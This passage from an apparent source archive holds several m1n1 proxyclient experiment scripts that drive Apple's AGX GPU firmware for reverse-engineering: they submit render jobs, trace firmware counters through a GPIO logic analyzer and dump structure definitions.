p.smp_start_secondaries() p.mmu_init_secondary(analyzer_cpu) iface.dev.timeout = 42 agx = AGX(u) mon = RegMonitor(u, ascii=True, bufsize=0x8000000) agx.mon = mon sgx = agx.sgx_dev atexit.register(p.reboot) agx.start() mon.poll() agx.poll_objects() ctx = GPUContext(agx) ctx.bind(63) f = GPUFrame(ctx, sys.argv[1], track=False) r = GPURenderer(ctx, 128, bm_slot=0x10, queue=1) dep_stamp = agx.kobj.new(StampCounter, name="Dep stamp") dep_stamp.value = 0x100 dep_stamp.push() #r.submit(f.cmdbuf, (dep_stamp._addr, 0x200, 0x10)) r.submit(f.cmdbuf) r.submit(f.cmdbuf) def t(addr): paddr = agx.uat.iotranslate(0, addr, 4)[0][0] if paddr is None: raise Exception(f"Failed to iotranslate {addr:#x}") return paddr regs = { "ta_cmds": t(agx.initdata.regionB.stats_ta.addrof("total_cmds")), "ta_ts": t(agx.initdata.regionB.stats_ta.stats.addrof("unk_timestamp")), } pend_base = agx.initdata.regionC.addrof("pending_stamps") for i in range(5): regs[f"st{i}_info"] = t(pend_base + i*8) regs[f"st{i}_val"] = t(pend_base + i*8 + 4) for i in range(4): regs[f"ta{i}_cq"] = t(agx.initdata.regionB.stats_ta.stats.queues[i].addrof("cur_cmdqueue")) regs.update({ #"pwr_status": t(agx.initdata.regionB.hwdata_a.addrof("pwr_status")), #"pstate": t(agx.initdata.regionB.hwdata_a.addrof("cur_pstate")), #"temp_c": t(agx.initdata.regionB.hwdata_a.addrof("temp_c")), #"pwr_mw": t(agx.initdata.regionB.hwdata_a.addrof("avg_power_mw")), #"pwr_ts": t(agx.initdata.regionB.hwdata_a.addrof("update_ts")), #"unk_10": t(agx.initdata.regionB.hwdata_a.addrof("unk_10")), #"unk_14": t(agx.initdata.regionB.hwdata_a.addrof("unk_14")), #"actual_pstate": t(agx.initdata.regionB.hwdata_a.addrof("actual_pstate")), #"tgt_pstate": t(agx.initdata.regionB.hwdata_a.addrof("tgt_pstate")), #"unk_40": t(agx.initdata.regionB.hwdata_a.addrof("unk_40")), #"unk_44": t(agx.initdata.regionB.hwdata_a.addrof("unk_44")), #"unk_48": t(agx.initdata.regionB.hwdata_a.addrof("unk_48")), #"freq_mhz": t(agx.initdata.regionB.hwdata_a.addrof("freq_mhz")), #"unk_748.0": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")), #"unk_748.1": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+4), #"unk_748.2": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+8), #"unk_748.3": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+12), #"use_percent": t(agx.initdata.regionB.hwdata_a.addrof("use_percent")), #"unk_83c": t(agx.initdata.regionB.hwdata_a.addrof("unk_83c")), #"freq_with_off": t(agx.initdata.regionB.hwdata_a.addrof("freq_with_off")), #"unk_ba0": t(agx.initdata.regionB.hwdata_a.addrof("unk_ba0")), #"unk_bb0": t(agx.initdata.regionB.hwdata_a.addrof("unk_bb0")), #"unk_c44": t(agx.initdata.regionB.hwdata_a.addrof("unk_c44")), #"unk_c58": t(agx.initdata.regionB.hwdata_a.addrof("unk_c58")), #"unk_3ca0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3ca0")), #"unk_3ca8": t(agx.initdata.regionB.hwdata_a.addrof("unk_3ca8")), #"unk_3cb0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3cb0")), #"ts_last_idle": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_idle")), #"ts_last_poweron": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_poweron")), #"ts_last_poweroff": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_poweroff")), #"unk_3cd0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3cd0")), "halt_count": t(agx.initdata.fw_status.addrof("halt_count")), "halted": t(agx.initdata.fw_status.addrof("halted")), "resume": t(agx.initdata.fw_status.addrof("resume")), "unk_40": t(agx.initdata.fw_status.addrof("unk_40")), "unk_ctr": t(agx.initdata.fw_status.addrof("unk_ctr")), "unk_60": t(agx.initdata.fw_status.addrof("unk_60")), "unk_70": t(agx.initdata.fw_status.addrof("unk_70")), "c_118c0": t(agx.initdata.regionC._addr + 0x118c0), "c_118c4": t(agx.initdata.regionC._addr + 0x118c4), "c_118c8": t(agx.initdata.regionC._addr + 0x118c8), "c_118cc": t(agx.initdata.regionC._addr + 0x118cc), "c_118d0": t(agx.initdata.regionC._addr + 0x118d0), "c_118d4": t(agx.initdata.regionC._addr + 0x118d4), "c_118d8": t(agx.initdata.regionC._addr + 0x118d8), "c_118dc": t(agx.initdata.regionC._addr + 0x118dc), "3d_cmds": t(agx.initdata.regionB.stats_3d.addrof("total_cmds")), #"3d_tvb_oflws_1": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_1")), #"3d_tvb_oflws_2": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_2")), "3d_cur_stamp_id": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_stamp_id")), "3d_ts": t(agx.initdata.regionB.stats_3d.stats.addrof("unk_timestamp")), #"3d_cur_stamp_id": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_stamp_id")), }) for i in range(4): regs[f"3d{i}_cq"] = t(agx.initdata.regionB.stats_3d.stats.queues[i].addrof("cur_cmdqueue")) i = 0 regs.update({ f"r{i}_3d_done": t(r.wq_3d.info.pointers.addrof("gpu_doneptr")), #f"r{i}_3d_rptr": t(r.wq_3d.info.pointers.addrof("gpu_rptr")), f"r{i}_3d_busy": t(r.wq_3d.info.addrof("busy")), #f"r{i}_3d_blk": t(r.wq_3d.info.addrof("blocked_on_barrier")), #f"r{i}_3d_2c": t(r.wq_3d.info.addrof("unk_2c")), #f"r{i}_3d_54": t(r.wq_3d.info.addrof("unk_54")), f"r{i}_ta_done": t(r.wq_ta.info.pointers.addrof("gpu_doneptr")), #f"r{i}_ta_rptr": t(r.wq_ta.info.pointers.addrof("gpu_rptr")), f"r{i}_ta_busy": t(r.wq_ta.info.addrof("busy")), #f"r{i}_ta_blk": t(r.wq_ta.info.addrof("blocked_on_barrier")), #f"r{i}_ta_2c": t(r.wq_ta.info.addrof("unk_2c")), #f"r{i}_ta_54": t(r.wq_ta.info.addrof("unk_54")), f"r{i}_ta_stamp1": t(r.stamp_ta1._addr), f"r{i}_ta_stamp2":t(r.stamp_ta2._addr), f"r{i}_3d_stamp1": t(r.stamp_3d1._addr), f"r{i}_3d_stamp2":t(r.stamp_3d2._addr), f"r{i}_ev_cnt":t(r.event_control.event_count._addr), f"r{i}_ev_cur":t(r.event_control.addrof("cur_count")), f"r{i}_ev_10":t(r.event_control.addrof("unk_10")), }) div=4 ticks = 24000000 // div * 25 la = GPIOLogicAnalyzer(u, regs=regs, cpu=analyzer_cpu, div=div) print("Queues:") print(f" TA: {r.wq_ta.info._addr:#x} (stamp {r.work[0].ev_ta.id})") #print(r.wq_ta.info) print(f" 3D: {r.wq_3d.info._addr:#x} (stamp {r.work[0].ev_3d.id})") #print(r.wq_3d.info) print("==========================================") print("## Run") print("==========================================") la.start(ticks, bufsize=0x8000000) t = time.time() buf = agx.kobj.new_buf(0x1000, "foo") buf.val = b"A" * 0x1000 buf.push() agx.uat.flush_dirty() try: r.run() #for a in range(8): #for b in range(8): #agx.ch.devctrl.dc_1e(a, b) #agx.uat.flush_dirty() #agx.ch.devctrl.write32(dep_stamp._addr, 0x200) #data = struct.pack(" t + 2: raise Exception("Timeout") r.wait() finally: dep_stamp.pull() print(f"Stamp value: {dep_stamp.value:#x}") #agx.poll_objects() #mon.poll() la.complete() la.show() time.sleep(2) m1n1-1.4.11/proxyclient/experiments/agx_deps.py000066400000000000000000000211321453754430200214470ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import atexit, sys from m1n1.setup import * from m1n1.constructutils import Ver from m1n1.utils import * Ver.set_version(u) from m1n1.agx import AGX from m1n1.agx.render import * from m1n1 import asm from m1n1.gpiola import GPIOLogicAnalyzer analyzer_cpu = 1 p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") p.smp_start_secondaries() p.mmu_init_secondary(analyzer_cpu) iface.dev.timeout = 42 agx = AGX(u) mon = RegMonitor(u, ascii=True, bufsize=0x8000000) agx.mon = mon sgx = agx.sgx_dev #mon.add(sgx.gpu_region_base, sgx.gpu_region_size, "contexts") #mon.add(sgx.gfx_shared_region_base, sgx.gfx_shared_region_size, "gfx-shared") #mon.add(sgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") #mon.add(agx.initdasgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") atexit.register(p.reboot) agx.start() print("==========================================") print("## After init") print("==========================================") mon.poll() agx.poll_objects() ctx = GPUContext(agx) ctx.bind(63) f = GPUFrame(ctx, sys.argv[1], track=False) RENDERERS = 4 renderers = [] for i in range(RENDERERS): r = GPURenderer(ctx, 128, bm_slot=0x10 + i, queue=1) renderers.append(r) for q in (r.wq_3d, r.wq_ta): q.info.set_prio(2) q.info.push() print("==========================================") print("## Submitting") print("==========================================") w = renderers[3].submit(f.cmdbuf) w = renderers[0].submit(f.cmdbuf, w) w = renderers[2].submit(f.cmdbuf, w) w = renderers[1].submit(f.cmdbuf, w) w = renderers[3].submit(f.cmdbuf, w) w = renderers[3].submit(f.cmdbuf, w) w = renderers[1].submit(f.cmdbuf, w) w = renderers[1].submit(f.cmdbuf, w) w = renderers[0].submit(f.cmdbuf, w) for i, r in enumerate(renderers): r.submit(f.cmdbuf) print("==========================================") print("## Submitted") print("==========================================") def t(addr): paddr = agx.uat.iotranslate(0, addr, 4)[0][0] if paddr is None: raise Exception(f"Failed to iotranslate {addr:#x}") return paddr regs = { "ta_cmds": t(agx.initdata.regionB.stats_ta.addrof("total_cmds")), "ta_ts": t(agx.initdata.regionB.stats_ta.stats.addrof("unk_timestamp")), } pend_base = agx.initdata.regionC.addrof("pending_stamps") for i in range(5): regs[f"st{i}_info"] = t(pend_base + i*8) regs[f"st{i}_val"] = t(pend_base + i*8 + 4) for i in range(4): regs[f"ta{i}_cq"] = t(agx.initdata.regionB.stats_ta.stats.queues[i].addrof("cur_cmdqueue")) regs.update({ #"pwr_status": t(agx.initdata.regionB.hwdata_a.addrof("pwr_status")), #"pstate": t(agx.initdata.regionB.hwdata_a.addrof("cur_pstate")), #"temp_c": t(agx.initdata.regionB.hwdata_a.addrof("temp_c")), #"pwr_mw": t(agx.initdata.regionB.hwdata_a.addrof("avg_power_mw")), #"pwr_ts": t(agx.initdata.regionB.hwdata_a.addrof("update_ts")), #"unk_10": t(agx.initdata.regionB.hwdata_a.addrof("unk_10")), #"unk_14": t(agx.initdata.regionB.hwdata_a.addrof("unk_14")), #"actual_pstate": t(agx.initdata.regionB.hwdata_a.addrof("actual_pstate")), #"tgt_pstate": t(agx.initdata.regionB.hwdata_a.addrof("tgt_pstate")), #"unk_40": t(agx.initdata.regionB.hwdata_a.addrof("unk_40")), #"unk_44": t(agx.initdata.regionB.hwdata_a.addrof("unk_44")), #"unk_48": t(agx.initdata.regionB.hwdata_a.addrof("unk_48")), #"freq_mhz": t(agx.initdata.regionB.hwdata_a.addrof("freq_mhz")), #"unk_748.0": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")), #"unk_748.1": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+4), #"unk_748.2": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+8), #"unk_748.3": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+12), #"use_percent": t(agx.initdata.regionB.hwdata_a.addrof("use_percent")), #"unk_83c": t(agx.initdata.regionB.hwdata_a.addrof("unk_83c")), #"freq_with_off": t(agx.initdata.regionB.hwdata_a.addrof("freq_with_off")), #"unk_ba0": t(agx.initdata.regionB.hwdata_a.addrof("unk_ba0")), #"unk_bb0": t(agx.initdata.regionB.hwdata_a.addrof("unk_bb0")), #"unk_c44": t(agx.initdata.regionB.hwdata_a.addrof("unk_c44")), #"unk_c58": t(agx.initdata.regionB.hwdata_a.addrof("unk_c58")), #"unk_3ca0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3ca0")), #"unk_3ca8": t(agx.initdata.regionB.hwdata_a.addrof("unk_3ca8")), #"unk_3cb0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3cb0")), #"ts_last_idle": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_idle")), #"ts_last_poweron": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_poweron")), #"ts_last_poweroff": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_poweroff")), #"unk_3cd0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3cd0")), "halt_count": t(agx.initdata.fw_status.addrof("halt_count")), "halted": t(agx.initdata.fw_status.addrof("halted")), "resume": t(agx.initdata.fw_status.addrof("resume")), "unk_40": t(agx.initdata.fw_status.addrof("unk_40")), "unk_ctr": t(agx.initdata.fw_status.addrof("unk_ctr")), "unk_60": t(agx.initdata.fw_status.addrof("unk_60")), "unk_70": t(agx.initdata.fw_status.addrof("unk_70")), "c_118c0": t(agx.initdata.regionC._addr + 0x118c0), "c_118c4": t(agx.initdata.regionC._addr + 0x118c4), "c_118c8": t(agx.initdata.regionC._addr + 0x118c8), "c_118cc": t(agx.initdata.regionC._addr + 0x118cc), "c_118d0": t(agx.initdata.regionC._addr + 0x118d0), "c_118d4": t(agx.initdata.regionC._addr + 0x118d4), "c_118d8": t(agx.initdata.regionC._addr + 0x118d8), "c_118dc": t(agx.initdata.regionC._addr + 0x118dc), "3d_cmds": t(agx.initdata.regionB.stats_3d.addrof("total_cmds")), #"3d_tvb_oflws_1": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_1")), #"3d_tvb_oflws_2": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_2")), "3d_cur_stamp_id": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_stamp_id")), "3d_ts": t(agx.initdata.regionB.stats_3d.stats.addrof("unk_timestamp")), #"3d_cur_stamp_id": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_stamp_id")), }) for i in range(4): regs[f"3d{i}_cq"] = t(agx.initdata.regionB.stats_3d.stats.queues[i].addrof("cur_cmdqueue")) for i, r in enumerate(renderers): regs.update({ f"r{i}_3d_done": t(r.wq_3d.info.pointers.addrof("gpu_doneptr")), #f"r{i}_3d_rptr": t(r.wq_3d.info.pointers.addrof("gpu_rptr")), f"r{i}_3d_busy": t(r.wq_3d.info.addrof("busy")), #f"r{i}_3d_blk": t(r.wq_3d.info.addrof("blocked_on_barrier")), #f"r{i}_3d_2c": t(r.wq_3d.info.addrof("unk_2c")), #f"r{i}_3d_54": t(r.wq_3d.info.addrof("unk_54")), f"r{i}_ta_done": t(r.wq_ta.info.pointers.addrof("gpu_doneptr")), #f"r{i}_ta_rptr": t(r.wq_ta.info.pointers.addrof("gpu_rptr")), f"r{i}_ta_busy": t(r.wq_ta.info.addrof("busy")), #f"r{i}_ta_blk": t(r.wq_ta.info.addrof("blocked_on_barrier")), #f"r{i}_ta_2c": t(r.wq_ta.info.addrof("unk_2c")), #f"r{i}_ta_54": t(r.wq_ta.info.addrof("unk_54")), f"r{i}_ta_stamp1": t(r.stamp_ta1._addr), f"r{i}_ta_stamp2":t(r.stamp_ta2._addr), f"r{i}_3d_stamp1": t(r.stamp_3d1._addr), f"r{i}_3d_stamp2":t(r.stamp_3d2._addr), f"r{i}_ev_cnt":t(r.event_control.event_count._addr), f"r{i}_ev_cur":t(r.event_control.addrof("cur_count")), f"r{i}_ev_10":t(r.event_control.addrof("unk_10")), }) div=4 ticks = 24000000 // div * 25 la = GPIOLogicAnalyzer(u, regs=regs, cpu=analyzer_cpu, div=div) print("Queues:") for i, r in enumerate(renderers): print(f" Renderer {i}") print(f" TA: {r.wq_ta.info._addr:#x} (stamp {r.work[0].ev_ta.id})") #print(r.wq_ta.info) print(f" 3D: {r.wq_3d.info._addr:#x} (stamp {r.work[0].ev_3d.id})") #print(r.wq_3d.info) print("==========================================") print("## Run") print("==========================================") la.start(ticks, bufsize=0x8000000) t = time.time() try: for r in renderers[:RENDERERS]: r.run() for r in renderers[:RENDERERS]: while not r.ev_3d.fired: agx.asc.work() agx.poll_channels() print("==========================================") #agx.poll_objects() #mon.poll() agx.kick_firmware() if time.time() > t + 10: raise Exception("Timeout") r.wait() finally: #agx.poll_objects() #mon.poll() la.complete() la.show() time.sleep(2) m1n1-1.4.11/proxyclient/experiments/agx_dumpstructs.py000066400000000000000000000010561453754430200231140ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.constructutils import * from m1n1.fw.agx import microsequence, initdata #for v in initdata.__all__: #for v in initdata.__dict__: def dump(module): for v in module.__dict__: struct = getattr(module, v) if isinstance(struct, type) and issubclass(struct, ConstructClass) and struct is not ConstructClass: print(struct.to_rust()) print() dump(microsequence) m1n1-1.4.11/proxyclient/experiments/agx_parallel.py000066400000000000000000000252151453754430200223160ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import atexit, sys from m1n1.setup import * from m1n1.constructutils import Ver from m1n1.utils import * Ver.set_version(u) from m1n1.agx import AGX from m1n1.agx.render import * from m1n1 import asm from m1n1.gpiola import GPIOLogicAnalyzer analyzer_cpu = 1 p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") p.smp_start_secondaries() p.mmu_init_secondary(analyzer_cpu) iface.dev.timeout = 42 ## heater code if True: code = u.malloc(0x1000) util = asm.ARMAsm(""" bench: mrs x1, CNTPCT_EL0 1: sub x0, x0, #1 cbnz x0, 1b mrs x2, CNTPCT_EL0 sub x0, x2, x1 ret """, code) iface.writemem(code, util.data) p.dc_cvau(code, len(util.data)) p.ic_ivau(code, len(util.data)) LOOPS = 80000000000 for idx in range(2, 8): print(f"bench {idx}") p.smp_call(idx, util.bench, LOOPS) agx = AGX(u) mon = RegMonitor(u, ascii=True, bufsize=0x8000000) agx.mon = mon sgx = agx.sgx_dev #mon.add(sgx.gpu_region_base, sgx.gpu_region_size, "contexts") #mon.add(sgx.gfx_shared_region_base, sgx.gfx_shared_region_size, "gfx-shared") #mon.add(sgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") #mon.add(agx.initdasgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") atexit.register(p.reboot) agx.start() print("==========================================") print("## After init") print("==========================================") mon.poll() agx.poll_objects() ctx = GPUContext(agx) ctx.bind(63) ctx0 = GPUContext(agx) ctx0.bind(62) f = GPUFrame(ctx, sys.argv[1], track=False) f2 = GPUFrame(ctx0, sys.argv[1], track=False) RENDERERS = 4 FRAMES = 8 renderers = [] fault_cmdbuf = f.cmdbuf.clone() #fault_cmdbuf.depth_buffer = 0xdeadb000 for i in range(RENDERERS): c = ctx0 if i == 0 else ctx r = GPURenderer(c, 32, bm_slot=0x10 + i, queue=1) renderers.append(r) for q in (r.wq_3d, r.wq_ta): q.info.set_prio(2) q.info.push() #for r in renderers[2:4]: #for q in (r.wq_3d, r.wq_ta): #q.info.set_prio(3) #q.info.push() #for r in renderers[4:6]: #for q in (r.wq_3d, r.wq_ta): #q.info.set_prio(0) #q.info.push() #for r in renderers[6:8]: #for q in (r.wq_3d, r.wq_ta): #q.info.set_prio(1) #q.info.push() print("==========================================") print("## Submitting") print("==========================================") for i, r in enumerate(renderers): for j in range(FRAMES): if (i, j) in ((1, 0), (2, 1), (3, 1)): r.submit(fault_cmdbuf) elif i == 0: r.submit(f2.cmdbuf) else: r.submit(f.cmdbuf) print("==========================================") print("## Submitted") print("==========================================") def t(addr): paddr = agx.uat.iotranslate(0, addr, 4)[0][0] if paddr is None: raise Exception(f"Failed to iotranslate {addr:#x}") return paddr regs = { "ta_cmds": t(agx.initdata.regionB.stats_ta.addrof("total_cmds")), "ta_ts": t(agx.initdata.regionB.stats_ta.stats.addrof("unk_timestamp")), } pend_base = agx.initdata.regionC.addrof("pending_stamps") for i in range(5): regs[f"st{i}_info"] = t(pend_base + i*8) regs[f"st{i}_val"] = t(pend_base + i*8 + 4) for i in range(4): regs[f"ta{i}_cq"] = t(agx.initdata.regionB.stats_ta.stats.queues[i].addrof("cur_cmdqueue")) regs.update({ "pwr_status": t(agx.initdata.regionB.hwdata_a.addrof("pwr_status")), "pstate": t(agx.initdata.regionB.hwdata_a.addrof("cur_pstate")), "temp_c": t(agx.initdata.regionB.hwdata_a.addrof("temp_c")), "pwr_mw": t(agx.initdata.regionB.hwdata_a.addrof("avg_power_mw")), "pwr_ts": t(agx.initdata.regionB.hwdata_a.addrof("update_ts")), #"unk_10": t(agx.initdata.regionB.hwdata_a.addrof("unk_10")), #"unk_14": t(agx.initdata.regionB.hwdata_a.addrof("unk_14")), "actual_pstate": t(agx.initdata.regionB.hwdata_a.addrof("actual_pstate")), "tgt_pstate": t(agx.initdata.regionB.hwdata_a.addrof("tgt_pstate")), #"unk_40": t(agx.initdata.regionB.hwdata_a.addrof("unk_40")), #"unk_44": t(agx.initdata.regionB.hwdata_a.addrof("unk_44")), #"unk_48": t(agx.initdata.regionB.hwdata_a.addrof("unk_48")), "freq_mhz": t(agx.initdata.regionB.hwdata_a.addrof("freq_mhz")), #"unk_748.0": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")), #"unk_748.1": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+4), #"unk_748.2": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+8), #"unk_748.3": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+12), #"use_percent": t(agx.initdata.regionB.hwdata_a.addrof("use_percent")), #"unk_83c": t(agx.initdata.regionB.hwdata_a.addrof("unk_83c")), "freq_with_off": t(agx.initdata.regionB.hwdata_a.addrof("freq_with_off")), #"unk_ba0": t(agx.initdata.regionB.hwdata_a.addrof("unk_ba0")), #"unk_bb0": t(agx.initdata.regionB.hwdata_a.addrof("unk_bb0")), #"unk_c44": t(agx.initdata.regionB.hwdata_a.addrof("unk_c44")), #"unk_c58": t(agx.initdata.regionB.hwdata_a.addrof("unk_c58")), #"unk_3ca0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3ca0")), #"unk_3ca8": t(agx.initdata.regionB.hwdata_a.addrof("unk_3ca8")), #"unk_3cb0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3cb0")), #"ts_last_idle": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_idle")), #"ts_last_poweron": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_poweron")), #"ts_last_poweroff": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_poweroff")), #"unk_3cd0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3cd0")), "halt_count": t(agx.initdata.fw_status.addrof("halt_count")), "halted": t(agx.initdata.fw_status.addrof("halted")), "resume": t(agx.initdata.fw_status.addrof("resume")), "unk_40": t(agx.initdata.fw_status.addrof("unk_40")), "unk_ctr": t(agx.initdata.fw_status.addrof("unk_ctr")), "unk_60": t(agx.initdata.fw_status.addrof("unk_60")), "unk_70": t(agx.initdata.fw_status.addrof("unk_70")), "c_118c0": t(agx.initdata.regionC._addr + 0x118c0), "c_118c4": t(agx.initdata.regionC._addr + 0x118c4), "c_118c8": t(agx.initdata.regionC._addr + 0x118c8), "c_118cc": t(agx.initdata.regionC._addr + 0x118cc), "c_118d0": t(agx.initdata.regionC._addr + 0x118d0), "c_118d4": t(agx.initdata.regionC._addr + 0x118d4), "c_118d8": t(agx.initdata.regionC._addr + 0x118d8), "c_118dc": t(agx.initdata.regionC._addr + 0x118dc), "3d_cmds": t(agx.initdata.regionB.stats_3d.addrof("total_cmds")), #"3d_tvb_oflws_1": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_1")), #"3d_tvb_oflws_2": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_2")), "3d_cur_stamp_id": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_stamp_id")), "3d_ts": t(agx.initdata.regionB.stats_3d.stats.addrof("unk_timestamp")), #"3d_cur_stamp_id": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_stamp_id")), }) for i in range(4): regs[f"3d{i}_cq"] = t(agx.initdata.regionB.stats_3d.stats.queues[i].addrof("cur_cmdqueue")) for i, r in enumerate(renderers): regs.update({ f"r{i}_3d_done": t(r.wq_3d.info.pointers.addrof("gpu_doneptr")), #f"r{i}_3d_rptr": t(r.wq_3d.info.pointers.addrof("gpu_rptr")), f"r{i}_3d_busy": t(r.wq_3d.info.addrof("busy")), #f"r{i}_3d_blk": t(r.wq_3d.info.addrof("blocked_on_barrier")), #f"r{i}_3d_2c": t(r.wq_3d.info.addrof("unk_2c")), #f"r{i}_3d_54": t(r.wq_3d.info.addrof("unk_54")), f"r{i}_ta_done": t(r.wq_ta.info.pointers.addrof("gpu_doneptr")), #f"r{i}_ta_rptr": t(r.wq_ta.info.pointers.addrof("gpu_rptr")), f"r{i}_ta_busy": t(r.wq_ta.info.addrof("busy")), #f"r{i}_ta_blk": t(r.wq_ta.info.addrof("blocked_on_barrier")), #f"r{i}_ta_2c": t(r.wq_ta.info.addrof("unk_2c")), #f"r{i}_ta_54": t(r.wq_ta.info.addrof("unk_54")), f"r{i}_f{j}_ta_stamp1": t(r.stamp_ta1._addr), f"r{i}_ta_stamp2":t(r.stamp_ta2._addr), f"r{i}_f{j}_3d_stamp1": t(r.stamp_3d1._addr), f"r{i}_3d_stamp2":t(r.stamp_3d2._addr), }) for j in range(FRAMES): work = r.work[j] regs.update({ f"r{i}_f{j}_3d_ts": t(work.wc_3d.ts1._addr), f"r{i}_f{j}_ta_ts": t(work.wc_ta.ts1._addr), }) div=4 ticks = 24000000 // div * 25 la = GPIOLogicAnalyzer(u, regs=regs, cpu=analyzer_cpu, div=div) print("==========================================") print("## Poll prior to job start") print("==========================================") #mon.poll() #agx.poll_objects() print("==========================================") print("## After start") print("==========================================") #agx.poll_objects() #mon.poll() print("==========================================") print("## Waiting") print("==========================================") print("Queues:") for i, r in enumerate(renderers): print(f" Renderer {i}") print(f" TA: {r.wq_ta.info._addr:#x} (stamp {r.work[0].ev_ta.id})") #print(r.wq_ta.info) print(f" 3D: {r.wq_3d.info._addr:#x} (stamp {r.work[0].ev_3d.id})") #print(r.wq_3d.info) print("==========================================") print("## Run") print("==========================================") la.start(ticks, bufsize=0x8000000) try: for r in renderers[:RENDERERS]: r.run() for r in renderers[:RENDERERS]: while not r.ev_3d.fired: agx.asc.work() agx.poll_channels() print("==========================================") agx.poll_objects() mon.poll() r.wait() #agx.poll_objects() #print("==========================================") #print("## Stop ASC") #print("==========================================") #agx.asc.stop() ##time.sleep(0.1) ##agx.poll_objects() #print("==========================================") #print("## Start ASC") #print("==========================================") #agx.asc.start() ##agx.poll_objects() #print("==========================================") #print("## Run 2") #print("==========================================") #for r in renderers[RENDERERS//2:]: #r.run() #for r in renderers[RENDERERS//2:]: #while not r.ev_3d.fired: #agx.asc.work() #agx.poll_channels() #print("==========================================") #r.wait() #agx.poll_objects() #mon.poll() finally: #agx.poll_objects() #mon.poll() la.complete() la.show() time.sleep(2) m1n1-1.4.11/proxyclient/experiments/agx_renderframe.py000066400000000000000000000030171453754430200230100ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import atexit, sys from m1n1.setup import * from m1n1.constructutils import Ver from m1n1.utils import * Ver.set_version(u) from m1n1.agx import AGX from m1n1.agx.render import * from m1n1 import asm p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") agx = AGX(u) mon = RegMonitor(u, ascii=True, bufsize=0x8000000) agx.mon = mon sgx = agx.sgx_dev try: agx.start() agx.uat.dump(0) print("==========================================") print("## After init") print("==========================================") mon.poll() agx.poll_objects() ctx = GPUContext(agx) ctx.bind(63) f = GPUFrame(ctx, sys.argv[1], track=False) r = GPURenderer(ctx, 16, bm_slot=0, queue=1) print("==========================================") print("## Submitting") print("==========================================") w = r.submit(f.cmdbuf) print("==========================================") print("## Submitted") print("==========================================") print("==========================================") print("## Run") print("==========================================") r.run() while not r.ev_3d.fired: agx.asc.work() agx.poll_channels() agx.poll_objects() mon.poll() r.wait() time.sleep(3) finally: #agx.poll_objects() p.reboot() m1n1-1.4.11/proxyclient/experiments/agx_tlb.py000066400000000000000000000232761453754430200213100ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import atexit, sys from m1n1.setup import * from m1n1.constructutils import Ver from m1n1.utils import * Ver.set_version(u) from m1n1.agx import AGX from m1n1.agx.render import * from m1n1 import asm from m1n1.gpiola import GPIOLogicAnalyzer analyzer_cpu = 1 p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") p.smp_start_secondaries() p.mmu_init_secondary(analyzer_cpu) iface.dev.timeout = 42 agx = AGX(u) def initdata_hook(agx): agx.initdata.regionC.idle_to_off_timeout_ms = 20000 agx.initdata.regionC.push() agx.initdata_hook = initdata_hook mon = RegMonitor(u, ascii=True, bufsize=0x8000000) agx.mon = mon sgx = agx.sgx_dev 